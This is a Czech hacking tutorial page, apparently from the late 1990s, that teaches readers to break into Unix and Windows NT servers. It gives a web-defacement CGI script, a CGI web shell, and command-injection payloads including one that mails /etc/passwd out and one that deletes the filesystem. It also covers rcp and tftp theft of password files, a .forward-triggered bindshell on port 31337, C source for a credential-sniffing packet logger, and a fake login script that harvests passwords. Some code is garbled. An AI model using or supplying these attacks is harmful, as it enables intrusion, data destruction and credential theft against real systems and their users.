ZÁKLADY HACKINGU NA INTERNETU |
Základní techniky Útok na firewall Markus Hess |
ZÁKLADNÍ TECHNIKYProgram z názvem WinNuke dokáže dálkově restartovat server běžící pod win NT.Ovládání programu je ďábelsky jednoduché.Stačí zadat adresu počítače běžící pod win NT.Účinek je rychlý a smrtící.Během několika sekund se Win NT zřítí,veškeré data v paměti RAM jsou zničena a celý počítač se restartuje.Tyto restarty se opakují stále pokud nezasáhne administrátor. Tento problé řeší Service Pack 3.Rychle ho aplikujte.
No tak to by snad stačilo k Windows NT.Teď se podíváme na UNIX (LINUX). Tady je situace jednoduchá. Tento stařec již má všechny mouchy vychytané. Není to jednoduché až téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit WWW stránku? Je to vůbec možné? Při troše štěstí ano. Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a speciální CGI script.V UNIXU bývají v adresáři /home/ftp/incoming/ nastavena přístupová práva na rwxrwxrwx to je právo zapisu všem. Do tohoto adresáře pomocí FTP přeneseme tyto dva soubory.To je index.html a např.hack.cgi.Důležitý je program který je v cgi scriptu tady je:
#!/bin/sh echo 'Content-Type: text/html' echo cp /home/ftp/incoming/index.html /www/htdocs/ Jednoduché že.Ale má to problém,musíme dostat nějakým způsobem tento cgi script do adresáře kde je povoleno provádění CGI scriptů nejčastěji cgi-bin.Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias. Jinak aby bylo jasno je řeč o WWW serveru Apache kterých pracuje pod UNIXEM vetšina.Ten je reprezentován souborem httpd. Podaří-li se nám dostat tento cgi script do tohoto adresáře stačí jenom napsat ve vašem prohlížeči URL k tomuto cgi scriptu a stisknout enter. Ale to ještě není vše.WWW server musí pracovat jako root.To nastavuje správce opět v souboru httpd.conf.A kořen dokumentů musí být umístněn v adresáři /www/htdocs/. Ještě jeden tip.Instalujeme-li server Apache tak vytvoří automaticky adresář cgi-bin ve kterém je standartně umístněn skript z názvem test-cgi. Tento skript by měl správce serveru odstanit,protože poskutuje důležité informace případnému útočníkovy. Je-li tento skript přítomen stačí napsat toto URL: http://jmeno_serveru/cgi-bin/test-cgi poté se na obrazovce prohlížeče objevý zajímavé informace o serveru Apache. Další možností je odhalit bezpečnostní díru v CGI skriptu.Jak na to? Objevý-li se nám na na řádku např.URL http://www.firma.cz/cgi-bin/jmeno.cgi? můžeme na konec přidat toto.http://www.firma.cz/cgi-bin/jmeno.cgi?;who Středník je nebezpečný znak a může způsobit při špatně napsaném cgi skiptu to že se provede příkaz zapsaný na konci řádku.V tomto případě příkaz who. Ale může to být třeba cat /etc/passwd. Dále bych se chtěl ještě zmínit o CGI scriptu který umožňuje vzdálené zadávání příkazů operačnímu systému UNIX(LINUX) přes WWW prohlížeč. Používá značky ISINDEX.Opět tento CGI script musí být umístněn v odresáři kde je povoleno spouštění CGI scriptů.Většinou CGI-BIN. Zde je je: #!/bin/sh echo "Content-type: text/html" echo echo '' echo '' echo '' echo ' This is a searchable index. Enter search keywords: ' $1 Tento CGI script když se nám podaří propašovat
nějakým způsobem do adresáře CGI-BIN a napíšeme k němu ve svém prohlížeči
cestu,tak nám nábýdne textové pole do kterého můžeme zadávat příkazy.Např.ls;ps;cat
ale třeba i halt pracuje-li www server Apache jako root.Co tento příkaz
způsobí je zřejmé z jeho názvu. Když jsem u telnetu tak to je samozřejmě standartní hackerský program. Lze se připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a pokoušet se proniknout do systému.Nejznámější je samozřejmě SMTP server který pracuje na portu 25 kde naslouchá.Jedná se o program sendmail spuštěný jako démon.Tento program bývá na některých systémech kompilován se vzdáleným ladícím přístupem zadáme: % telnet 193.179.4.2 25 Trying 193.179.4.2 .... Connected to 193.179.4.2 Escape character is '^]'. 220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56 EDT Pak zadáme příkaz: debug Jestliže budete dotázani na heslo máte naději. Když jsme u elektronické pošty je potřeba se na ní podívat trochu více. Posláním v hodného emailu nezkušenému uživateli lze získat jeho přístupová hesla.Např.tento html dokument odešle na váš email přístupové heslo vzdáleného uživatele.Samozřejmě pokud to vzdálený uživatel neprokoukne. Změna hesla.Po určité době je nutné změnit heslo.Zadejte nejprve staré a pak nové heslo.Hesla se nevypisují z důvodu jejich utajení. Staré heslo: Nové heslo: Pomocí elektronické pošty lze i Internet
zahltit.Při psaní emailové adresy lze přikázat kudy má dopis jít. Používá
se následující formát: Zde je seznam služeb standartně spuštěných na systému UNIX (LINUX).
Na tyto porty je možno se připojovat telnetem a zkoušet. Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné např.na http://www.security.sk nebo na http://www.rootshell.com Dále mužeme zkoušet pracujeme-li na LINUXU tak zvané r příkazy jedná se o rlogin,rcp,rsh. Příklad: %rlogin 193.179.4.2 a uvidíme co se bude dít. %rcp 193.179.4.2: /etc/passwd /home/ Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém. %rsh 193.179.4.2 ps -aux Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server na vzdáleném systému. Jenom tak na okraj jestliže chcete zjistit IP adresu vzdáleného systému stačí použít program ping (je i ve win 95). Příklad: ping www.hrad.cz Pinging from 193.179.4.2:bytes=32 time 60ms TTL64 Další možnost jak napadnout vzdálený systém je program tftp napíšem: $ tftp 193.179.4.2 tftp> get /etc/passwd Error code 1: File not found tftp> quit Jestliže dostaneme takovouto odpověď máme
smůlu.Služba je zakázaná. Vraťme se zpátky k fenoménu dneška a to je
WWW.Jak známo vetšina internetových serverů pracuje pod systémem
UNIX
(LINUX).A ty používají hlavně
www server Apache.Zavádející historický
pokus o zabezpečení bylo to že k portům menším než
1024 se smí připojit
jen superuživatel root. Jak známo tak httpd naslouchá na
portu 80.To
znamená že alespoň jednou musí být server spuštěn jako root.A tady je naše
šance.Může se stát že administrátor spustí i kopie serveru jako root(nejnovejší
verze Apache to již neumožňuje). echo "You have sent the following message: $MESSAGE" Smyslem je aby nám server poslal potvrzující
hlášení,ve kterém se vše,co jsme napsali,cituje v řetězci
$MESSAGE. 'mail 193.179.4.2 /etc/passwd' Protože zpětné uvozovky jsou interpretem
systému UNIX považovány za omezovače příkazů,může tento text mít natolik
alarmující důsledek jako odeslání super tajného hesla k nám. 'rm -f -r /*' Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward Jetliže nemáte přístup do shellu ale jenom přes ftp,pak je to přímo idealní situace pro použití souboru .forward. Stačí uploadovat soubor.forward do domácího adresáře.Sendmail totiž standartně umožňuje execování souborů.Vyrobíme nasledující .forvard soubor $ cat .forward |/tmp/scriptik $ Tento soubor je třeba uploadovat do domácího adresáře.Pak si vytvoříme soubor "scriptik". $ cat scriptik /tmp/bindshell & $ Bindshell je program který hodí shell na port 31337.Aby se faily mohli exnout musí být executable.Mužeme to udělat takto: $ ftp -nv ftp> o server.provider.cz Conected to server.provider.cz ftp> user login heslo ftp> cd /tmp ftp> quote site chmod 755 bindshell ftp> quote site chmod 755 scriptik ftp> close Potom stačí na toto konto poslat nějaký mail.Sendmail spustí /tmp/scriptik a ten spustí bindshell. Pak se telnetem připojíme na port 31337 např. takto $ telnet 193.179.4.2 31337 A dostanete se shellu.Pak můžete zadat tento příkaz. cat /etc/passwd > /home/ftp/incoming/ukradena_hesla Tímto se obsah tajného souboru passwd přenese do souburu ukradena_hesla v adresáři incoming. Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek. Možná i účet roota.Ještě se může stát že anonymní adresář má nastaveny práva na 777.Pak by to byl čistý vnější průnik. Útok na firewall (FW)Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW.První úroveň spočívá v pokusu o nenápadné získání informací,které mouhou posloužit v další vlně útoku.Druhá úroveň útoku představuje již patrný bezprostřední sběr informací,ale ještě ne aktivní pokus o průnik do sítě.Třetí úroveň útoku se pokouší zdolat FW a narušit za ním lokalizované klienty,přičemž toto úsilí je inicializováno z klienta vně napadené sítě.Čtvrtá úroveň útoku pak představuje pokus narušit bezpečnostní software FW,jeho konfiguraci nebo operační systém z klienta uvnitř atakované sítě.
Některé hackerské programy:SATAN-program
pro pátrání po bezpečnostních chybách ve www serverech. Tak to by snad na ty firevaly stačilo.Na konec uvádím program sniffer o kterém jsem se zmínil výše.Je napsán v jazyce C.
PROGRAM SNIFFER: #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 512 #define TIMEOUT 30 #define TCPLOG ".s" int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x > 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read > CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) > (victim.start_time + TIMEOUT)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } if(ntohs(tcp->dest)==21) p=1; /* ftp */ if(ntohs(tcp->dest)==23) p=1; /* telnet */ if(ntohs(tcp->dest)==110) p=1; /* pop3 */ if(ntohs(tcp->dest)==109) p=1; /* pop2 */ if(ntohs(tcp->dest)==143) p=1; /* imap2 */ if(ntohs(tcp->dest)==513) p=1; /* rlogin */ if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp->syn == 1) { victim.saddr=ip->saddr; victim.daddr=ip->daddr; victim.active=1; victim.sport=tcp->source; victim.dport=tcp->dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp->dest != victim.dport) return 0; if(tcp->source != victim.sport) return 0; if(ip->saddr != victim.saddr) return 0; if(ip->daddr != victim.daddr) return 0; if(tcp->rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if(tcp->fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s => ", hostlookup(ip->saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t > 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip->tot_len)- sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); } technologie a postupy největšího hakera všech dob - Markuse HessePsal se rok 1988
když Markus Hess
pronikal do Milnetu
(předchudce Internetu)
a kradl s tamních UNIXů
informace a prodával je za tisíce marek KGB.Netušil
ale že ho sledují,dokonce tak dokonale, že monitorovali každý jeho úder na
klávesnici na tiskárně. Příklad programu který používal ke kradení hesel: echo -n "Vítejte v počítači LBL UNIX-4" echo -n "Prosím přihlašte se" echo -n "LOGIN:" read account name echo -n "Uveďte své přístupové heslo:" (stty -echo;\ read password;\ stty -echo;\ echo $account_name $password >> /tmp/ .pub) echo "Lituji,zkuste to znovu." |